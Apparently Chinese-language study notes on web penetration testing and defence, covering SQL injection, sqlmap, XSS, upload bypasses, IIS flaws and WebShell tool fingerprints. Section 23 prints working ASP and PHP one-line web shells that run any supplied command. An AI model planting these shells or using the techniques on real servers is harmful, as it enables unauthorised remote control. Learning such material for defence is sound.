一些常见问题的总结
字数 3949 2025-08-10 16:34:22
SQL注入与Web安全攻防技术详解
1. SQL注入基础
1.1 SQL注入原理
SQL注入是一种Web安全漏洞,当Web应用向后台数据库传递SQL语句时,如果未对用户输入的参数进行严格过滤处理,攻击者可以构造特殊SQL语句直接输入数据库执行,从而获取或修改数据库中的数据。
1.2 SQL注入测试步骤
- 寻找注入点:判断是否存在可注入的漏洞点
- 判断注入类型:
- 数字型注入:
and 1=1和and 1=2测试 - 字符型注入:判断闭合符号(单引号、双引号等)
- 数字型注入:
- 注入技术选择(按优先级):
- 联合查询注入
- 报错查询
- 布尔型查询
- 时间盲注
- 宽字节注入
- 判断列数:使用
order by语句 - 确定显错位:
union select 1,2,3,... - 数据获取:获取数据库、表、字段和数据
- 后续操作:
- 扫描后台目录(如使用御剑工具)
- 上传一句话木马
- 使用菜刀、蚁剑等工具连接
2. 报错注入技术
2.1 常见报错注入函数
- Extractvalue
- Updatexml
- Floor
2.2 报错注入原理
在SQL语句中人为制造XPATH语法错误,使查询结果出现在报错信息中。报错信息直接来自数据库报错。
3. SQL注入工具使用
3.1 SQLMap高级用法
POST注入方法:
- 抓取POST数据包保存为文件
- 执行:
sqlmap.py -r 文件路径
指定注入类型:
使用--technique参数后接技术类型大写字母:
- B:布尔盲注
- E:报错注入
- U:联合查询
- S:堆叠查询
- T:时间盲注
- Q:内联查询
示例:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB --banner
3.2 SQLMap获取OS Shell的条件与原理
使用条件:
- 网站必须是root权限
- 知道网站绝对路径
- GPC为off(PHP主动转义功能关闭)
工作原理:
- 通过注入获取服务器访问权限
- 启动交互式命令行shell
- 建立TCP连接传输命令
- 目标服务器执行后门程序
- 返回执行结果到交互式shell
4. 文件操作注入
4.1 文件写入条件
- 数据库允许导入导出
- 当前用户有文件操作权限
- 知道文件绝对路径
4.2 文件操作函数
写文件函数:
into outfile:可写入多行,按格式输出into dumpfile:只能写入一行,无输出格式
读文件函数:
load_file()
5. SQL注入防御
5.1 JavaScript的局限性
无法完全防御SQL注入,因为:
- SQL注入是服务器端攻击
- JS运行在客户端
但JS可增强安全性:
- 输入验证
- 转义输出
- 加密传输
5.2 有效防御措施
- 输入验证和过滤
- 参数用引号包裹
- 最小权限原则
- 使用Web防火墙
- 定期更新软件
6. XSS攻击技术
6.1 XSS原理
跨站脚本攻击(XSS)是指攻击者在Web页面中写入恶意脚本,当用户浏览页面时控制用户浏览器的攻击方式。
6.2 XSS测试步骤
- 收集目标信息(URL、页面结构、输入字段)
- 简单脚本测试(如弹窗)
- 尝试不同类型XSS:
- 反射型(在URL中)
- 存储型(与数据库交互处)
- DOM型(未转义的搜索框)
- 使用XSS工具扫描
- 实施Cookie劫持
6.3 反射型XSS利用价值
- Cookie劫持
- 恶意重定向到指定页面
6.4 XSS防御措施
- 过滤用户输入和URL参数
- HTML编码输出
- 过滤危险函数:
alert()prompt()confirm()
7. 文件上传漏洞
7.1 文件上传漏洞利用
目的:
- 上传木马
- 通过HTTP协议传输恶意文件
获取Shell原理:
上传的恶意文件连接成功后执行恶意代码,使攻击者获得系统控制权。
7.2 文件上传测试步骤
- 识别上传点
- 绕过文件类型限制
- 上传恶意文件
- 执行恶意代码
- 控制系统
7.3 常见绕过方式
Windows/Linux通用:
- 改变扩展名
- 双扩展名
- 添加空格
- 编码绕过
- 绕过Content-Type检查
- Null字节(
\x00)
8. 解析漏洞
8.1 解析漏洞定义
攻击者构造恶意输入,利用应用程序解析时的意外行为执行未授权操作或获取敏感信息。
8.2 常见解析漏洞类型
- 命令注入
- SQL注入
- XSS
- XXE
- RCE
8.3 文件解析漏洞
常见类型:
- 图片解析漏洞
- PDF解析漏洞
- 压缩文件解析漏洞
- 日志文件解析漏洞
9. 密码爆破技术
9.1 Base64加密密码爆破方法
- 构造字典
- 抓取登录数据包
- 使用Burp Suite:
- 加载字典
- 高亮密码内容
- 字典加密方式选Base64
- 开始爆破
10. 逻辑漏洞
10.1 常见逻辑漏洞类型
- 权限绕过
- 密码找回漏洞
- 验证码相关漏洞:
- 自动识别
- 客户端回显
- 绕过
- 暴力破解
- 重复使用
- 支付逻辑漏洞
- 未验证登录凭证
11. 命令执行(RCE)测试
11.1 RCE测试步骤
- 信息收集(URL、参数、功能)
- 寻找输入点:
- Web表单
- URL参数
- HTTP头
- Cookie
- 输入恶意命令测试
- 检查回显结果
- 验证权限
- 记录结果
12. 常见服务端口
| 端口 | 服务 |
|---|---|
| 21 | FTP |
| 22 | SSH |
| 53 | DNS |
| 3389 | RDP |
| 3306 | MySQL |
| 1433 | MSSQL |
| 1521 | Oracle |
| 6379 | Redis |
| 11211 | Memcached |
13. Redis安全
13.1 Redis(6379)攻击手法
- 未授权访问
- 信息泄露
- 远程代码执行
- 拒绝服务
13.2 Redis防御措施
- 限制信任主机访问
- 设置强密码
- 使用防火墙
- 合理配置参数
- 定期更新
- 日志审计
14. 文件包含漏洞
14.1 关键函数
include()require()include_once()require_once()
14.2 测试步骤
- 构造符合类型的恶意文件
- 上传到网站根目录
- 通过恶意文件实施攻击
15. HTTP协议基础
15.1 状态码分类
- 1xx:信息性状态码
- 2xx:成功状态码
- 3xx:重定向状态码
- 4xx:客户端错误
- 5xx:服务器错误
15.2 常见请求头
- Host
- User-Agent
- Accept
- Accept-Language
- Accept-Encoding
- Connection
- Referer
- Content-Type
- Content-Length
- Authorization
16. HTTPS与TCP协议
16.1 HTTPS认证原理
- 客户端发起HTTPS请求
- 服务器发送证书和公钥
- 客户端验证证书
- 客户端生成对称密钥并用公钥加密
- 服务器用私钥解密获取对称密钥
- 使用对称密钥加密通信
16.2 TCP三次握手
- 客户端发送SYN
- 服务器回复SYN-ACK
- 客户端发送ACK
16.3 TCP四次挥手
- 客户端发送FIN
- 服务器回复ACK
- 服务器发送FIN
- 客户端回复ACK并等待2MSL
17. 特殊场景突破
17.1 限制上传PHP站点的突破方法
- 文件包含漏洞+图片马
- 在JPG中嵌入PHP代码
- 通过文件包含执行
- 任意文件读取漏洞
- 读取敏感文件
- 寻找其他攻击途径
18. IIS漏洞
18.1 常见IIS漏洞
- 远程代码执行(URL长度无限制)
- 文件上传(开启WebDAV和写入权限)
- 短文件名猜解
- 解析漏洞:
a.asp目录下所有文件按ASP解析test.asp;.jpg按ASP解析
19. 信息收集方法
19.1 被动收集
利用第三方服务获取目标信息
19.2 主动收集
- FOFA扫描子域名
- Whois查询
- 真实IP查询
- WebScan查找旁站和C段
- 御剑、Dirsearch扫描目录
- Nmap/Zenmap扫描端口
- AWVS/Nessus扫描漏洞
- 插件识别网站框架
20. CSRF与SSRF区别
20.1 CSRF(跨站请求伪造)
- 成因:服务器未校验随机值和Referer字段
- 利用:伪造用户请求
- 影响:利用用户Cookie执行操作
20.2 SSRF(服务器端请求伪造)
- 成因:服务器过度信任用户提供的URL
- 利用:攻击内网或其他服务器
- 影响:作为攻击跳板
21. Burp Suite爆破模式
- Sniper:逐个尝试密码组合
- Battering Ram:固定长度密码
- Pitchfork:多字典多线程爆破
- Cluster Bomb:组合不同字典内容
22. 任意文件下载利用
22.1 漏洞成因
应用程序未充分验证用户输入,导致可下载未授权文件。
22.2 利用思路
- 下载配置文件:
- SSH
- WebLogic
- FTP
- MySQL
- 下载日志文件寻找后台地址
- 下载业务文件进行白盒审计
23. 一句话木马示例
23.1 ASP木马
<%
Dim cmd
cmd = Request("cmd")
If cmd <> "" Then
Dim oShell
Set oShell = CreateObject("WScript.Shell")
Dim oExec
Set oExec = oShell.Exec(cmd)
Response.Write(oExec.StdOut.ReadAll())
Set oExec = Nothing
Set oShell = Nothing
End If
%>
23.2 PHP木马
<?php
$cmd = $_REQUEST['cmd'];
if ($cmd) {
echo shell_exec($cmd);
}
?>
24. WebShell管理工具
24.1 工具及特征
菜刀:
- 默认Base64加密
- 必须使用
eval或assert - 特征参数
z0
蚁剑:
- 特征:
@ini_set("display_errors","0"); - 参数名类似
_0x.....=
冰蝎:
- Content-Type: application/...
- 16个内置User-Agent
- 文件上传/命令执行参数不定长
- 基本信息payload定长
25. XXE漏洞原理
应用程序未充分验证用户输入的XML文件,攻击者构造恶意XML实体,利用解析器特性执行敏感操作(如数据读取)。